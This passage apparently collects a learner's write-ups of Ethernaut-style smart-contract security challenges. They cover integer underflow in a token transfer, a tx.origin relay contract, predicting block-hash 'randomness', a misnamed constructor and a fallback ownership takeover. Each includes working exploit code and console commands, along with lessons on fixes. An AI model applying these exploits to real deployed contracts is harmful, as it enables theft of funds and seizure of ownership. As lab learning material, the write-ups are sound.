I think this has an interesting implication that there is no paper trail when ether is sent to a contract this way.

What I learned

1. Even without a fallback function, contract A can still be forced to receive ether if contract B selfdestruct’s and sets contract A as the recipient

2. There is no visible transaction in etherscan indicating that ether was deposited. Rather, the ether just shows up in the new contract. I will investigate this further

Investigation

We have a Token contract that contains balances for address and a total supply.

mapping(address => uint) balances;
uint public totalSupply;

We have a constructor which initializes a contract instance with a provided supply and gives that entire balance to the contract deployer

constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
}

There is a function which allows a transfer from the senders balance to the provided address. It simply checks that there is enough of a balance to be sent in the senders address, deducts the amount from the sender and assigns it to the to address.

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

Notably here, the computation is being done on uint values which can be overflowed. I tried out the transfer function using the Remix IDE and found that I was able to transfer 5 tokens to some other address. This worked since 5 was less than the amount in my wallet (initialized with 20 tokens).

Solution

First, I tried to pass in a negative value to the function. My thinking is that the value would be treated as a uint during smart contract execution, which would be a very large number. This approach does not work though and I got an error from the EVM

instance.transfer("0x...", -10);
// Error encoding arguments: Error: value out-of-bounds (argument=null, value="-5", code=INVALID_ARGUMENT, version=abi/5.5.0)

So it seems like it wont work to just try passing in a negative number. Thinking about it some more, I noticed that on this line

require(balances[msg.sender] - _value >= 0);

An integer overflow can also be induced. ie. if I try to send more than I have in my wallet, balances[msg.sender] - _value will actually overflow and return some large value. I tried this out

instance.transfer("0x...", 25);
instance.balanceOf("<my address>");
// uint256: balance 115792089237316195423570985008687907853269984665640564039457584007913129639931

My wallet now has several trillions of tokens 🤠

What I learned

1. During the investigation, I found that this will actually not be an issue using a newer solidity version to compile our code (0.8.0 and above).

   Arithmetic operations revert on underflow and overflow. You can use unchecked { ... } to use the previous wrapping behaviour.

   From https://docs.soliditylang.org/en/latest/080-breaking-changes.html

2. This issue can be prevented on lower solidity versions with OpenZeppeling SafeMath.

Investigation

This problem is for a pretty simple contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

It simply has an owner and a function to change the owner. When we change the owner, we only allow it to get changed if tx.origin is not the current caller of the function. I did not know what tx.origin was, so after some googling I found an answer. It is the first non-contract address that called the function. ie. in a call chain that looks like this:

A → B → C → D

A user A makes a call to contract B, which calls a function on contract C that calls something on contract D. In this chain, if we chack tx.origin on contract D, it will be A . However, the msg.sender will be C.

Solution

To solve this problem, I needed to call the changeOwner function through a relay contract. This way, tx.origin will be my wallet, and msg.sender will be the address of the relay contract. I created, compiled and deployed the relay contract using the Remix IDE

pragma solidity ^0.6.0;

contract TelephoneRelay {

    function relay () public {
        address addr = 0x4F9f093efd94c7b81f954Bd7648805a98b5Ce230;
        (bool success, bytes memory result) = addr.call(abi.encodeWithSignature("changeOwner(address)", msg.sender));

        require(success, "Relay not successful");
    }
}

I got the address of my problem contract and called the changeOwner function with the low level address.call function. More info about that here. Sure enough, the owner was updated with my address. Success!

What I learned

1. There is a difference between tx.origin and msg.sender and we have to keep this difference in mind when using tx.origin because we can end up with security holes

Investigation

This contract is for a simple coin flip. Something like this might be used in a game where people bet money on a coin flip, thus making it valuable to try to beat the system. The contract creates a random number using the block hash of the current block number. This block hash is divided by (UINT_256_MAX - 1) / 2. Thus, there is a 50% chance for true and 50% chance for false. The flip logic looks like this

uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
}

Solution

This attempt at randomness is not truly random and the underlying calculation to derive it is publicly available. Thus, it is trivial to run the same algorithm to predict what the next coin flip value will be

value = await web3.eth.getBlockNumber()
    .then((num) => web3.eth.getBlock(num))
    .then((block) => block.hash)
    .then((hash) => parseInt(hash, 16) / 57896044618658097711785492504343953926634992332820282019728792003956564819968);

await contract.flip(value > 1 ? true : false);

What I learned

1. There is no built in way for solidity to provide actual random numbers. Instead of this, we should request random numbers from an oracle such as Chainlink VRF.

The problem is to claim ownership of the following contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Reading through the contract, it seems like it serves as a sort of ledger. Users can allocate funds to the contract and send them between other allocators. The owner can call collectAllocations to withdraw all the funds in the contract. In the real world, it would be very enticing to be the owner of such a contract. Let's try to claim ownership.

Solution

The only part of the contract where ownership is assigned is in the constructor. This constructor looks unexpected though because the name has a typo from the name of the contract. This means that we might be able to call the constructor function again after the contract has been initialized. Sure enough, calling the constructor function manually changes the owner to my address.

await contract.owner()  
// "0x0000000000000000000000000000000000000000"

await contract.Fal1out()

await contract.owner()  
// "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252"

What I learned

1. Learnt about the Rubixi exploit which inspired this level. In it, the contract was changed

2. It's probably always better to just rely on the constructor directive for defining constructors

Started here by reading the description and the things that might help. Next, I started to go through the contract to understand what was going on. First, I saw the use of using which I wasn't sure what it meant.

using SafeMath for uint256;

I found that the using directive is taking functionality from the SafeMath library and applying them to uint256. This is Solidity's way of extending functionality of built in expressions. Next, up

mapping(address => uint) public contributions;
address payable public owner;

constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

We have some state variables and initialization. Nothing very interesting happening with the state variables, but the constructor has something interesting happening. First, we set the owner of this contract to be the wallet that deployed it and then we set the contributions for the deploywer to be 1000 ether. This seems to be a contract where the owner can be switched if they contribute more than 1000 ether.

Next up, we have a modifier

modifier onlyOwner {
    require(
        msg.sender == owner,
        "caller is not the owner"
    );
    _;
}

In solidity, I've learnt that modifiers are functions that can be tied to other functions. The code in the modifier is called first before anything else in the function is called. In this contract, the onlyOwner modifier is used here

function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
}

Putting it all together, the owner can transfer all ETH in the contract by calling withdraw to themselves. The modifier ensures that only the holder of the owners wallet can transfer the funds. The challenge in this problem is to claim ownership of the contract and reduce the balance to zero. Seems a good place to start would be to somehow trick the contract to assign the ownership to my own wallet. Before that, taking a look at the other functions in this contract

function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
        owner = msg.sender;
    }
}

function getContribution() public view returns (uint) {
    return contributions[msg.sender];
}

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}

The contract allows users to contribute funds through its public API. The payable modifier here means that the contract instance can receive funds using this function. The contributions however must be less than 0.001 ether. If the users contributions becomes the most in the contract, then this user becomes the new owner. If I had enough ether, I could use this function by doing a lot of small transactions until contributing over 1000 ether, thus grabbing ownership for myself. However, since I don't have enough ether, I'll need to try a different approach.

The getContribution function simply just gets the contributions at the senders address. Finally, we have the receive function. This is interesting to me because this is the second access point where the owner can be changed in the contract. I didn't know what a receive function was, so after some googling, I found that it is is simply a function that gets called when a contract receives ether with no call data. Eg. If someone just sends ether to the address. I figured that I could just send some ether to this address and if I send more than 0 and my wallet has some contributions tied to it, I should become the owner. This wallet probably existed for the owner to send ether into the contract when it was initialized

Solution

res = await contract.contribute.sendTransaction({from: player, value: toWei("0.0001")})
contribution = (await contract.getContribution()).toString()
// "100000000000000" (wei)
fromWei(contribution.toString())
// "0.0001" (ether)

My wallet is now registered to have 0.0001 ether of contributions. Now I'll try to grab ownership of the contract. Since you can't call the receive function directly through the ABI, I tried sending Ether to the contract directly using metamask. I got the wallet address of the contract and the contract owner through the ABI

contract.address
// "0x19abb707Baa34a8E8BE7FC7420ACb537ae6327d4"

await contract.owner()
// "0x9CB391dbcD447E645D6Cb55dE6ca23164130D008"

Sure enough, after sending the ether, the contract owner has been updated to my wallet address

await contract.owner()
// "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252"

To finish of the challenge, I just need to withdraw all the funds which is as simple as calling withdraw.

What I learned

1. I learnt how the using directive in solidity works and how it can be used to both modularize code and extend built in functionality

2. I learnt about fallback functions in solidity which are called when ether is sent to the contract with no other parameters. The fallback functions are receive for receiving ether and fallback which can be used to delegate calls to another contract

3. I learnt about OpenZeppelin's implementation of Ownable which can help to prevent this exploit